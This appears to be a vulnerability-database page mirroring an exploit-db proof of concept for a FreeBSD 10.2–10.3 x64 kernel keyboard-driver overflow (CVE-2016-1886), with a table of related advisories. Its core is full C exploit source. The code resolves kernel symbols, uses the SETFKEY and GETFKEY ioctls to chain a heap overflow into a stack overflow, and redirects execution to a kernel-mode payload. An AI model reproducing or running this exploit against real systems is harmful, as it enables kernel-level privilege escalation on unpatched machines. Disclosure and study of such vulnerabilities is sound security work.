Lucene search
+L

FreeBSD Kernel (FreeBSD 10.2 < 10.3 x64) - 'SETFKEY' (PoC)

🗓️ 29 May 2016 00:00:00Reported by CTurtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

FreeBSD Kernel SETFKEY PoC for heap and stack overflo

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
FreeBSD Kernel (FreeBSD 10.2 < 10.3 x64) - SETFKEY (PoC) Exploit
1 Mar 201800:00
–zdt
freebsd
FreeBSD
FreeBSD -- Buffer overflow in keyboard driver
17 May 201600:00
–freebsd
bdu_fstec
BDU FSTEC
FreeBSD Kernel Privilege Escalation
9 Jun 201600:00
–bdu_fstec
cnvd
CNVD
FreeBSD atkbd Module Buffer Overflow Vulnerability
19 May 201600:00
–cnvd
cve
CVE
CVE-2016-1886
25 May 201615:00
–cve
cvelist
Cvelist
CVE-2016-1886
25 May 201615:00
–cvelist
debiancve
Debian CVE
CVE-2016-1886
25 May 201615:00
–debiancve
euvd
EUVD
EUVD-2016-2980
7 Oct 202500:30
–euvd
f5
F5 Networks
K00246015: FreeBSD vulnerability CVE-2016-1886
21 Feb 202318:46
–f5
f5
F5 Networks
SOL00246015 - FreeBSD vulnerability CVE-2016-1886
10 Jun 201600:00
–f5
Rows per page
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;

	ksym.version = sizeof(ksym);
	ksym.symname = name;

	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}

	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");

	strcpy(ostype, "CTurt  ");

	__asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
	fkeyarg_t fkey;

	fkey.keynum = index;
	fkey.flen = size;
	memset(&fkey.keydef, 0, 16);

	ioctl(0, SETFKEY, &fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
	fkeyarg_t fkey;

	fkey.keynum = index;
	fkey.flen = 16;
	memset(&fkey.keydef, 0, 16);

	ioctl(0, GETFKEY, &fkey);
}

int main(void) {
	int result, i;
	fkeyarg_t fkey;

	uint32_t ripLower4 = 0x808312cd; // jmp rbp
	uint64_t rbp = (uint64_t)payload;


	kprintf = resolve("printf");
	ostype = resolve("ostype");


	printf("  [+] Set full length for key 10\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, SETFKEY, &fkey);


	printf("  [+] Set bad length and perform heap overflow\n");
	heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));


	printf("  [+] Prepare stack overflow memory\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, GETFKEY, &fkey);
	originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
	originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);

	printf("  [+] Original rip: %#lx\n", originalRip);
	printf("  [+] Original rbp: %#lx\n", originalRbp);

	*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
	*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
	ioctl(0, SETFKEY, &fkey);


	printf("  [+] Trigger stack overflow\n");
	fflush(stdout);

	stackOverflow(0);


	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2018 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.2
CVSS 37.8
EPSS0.01143
42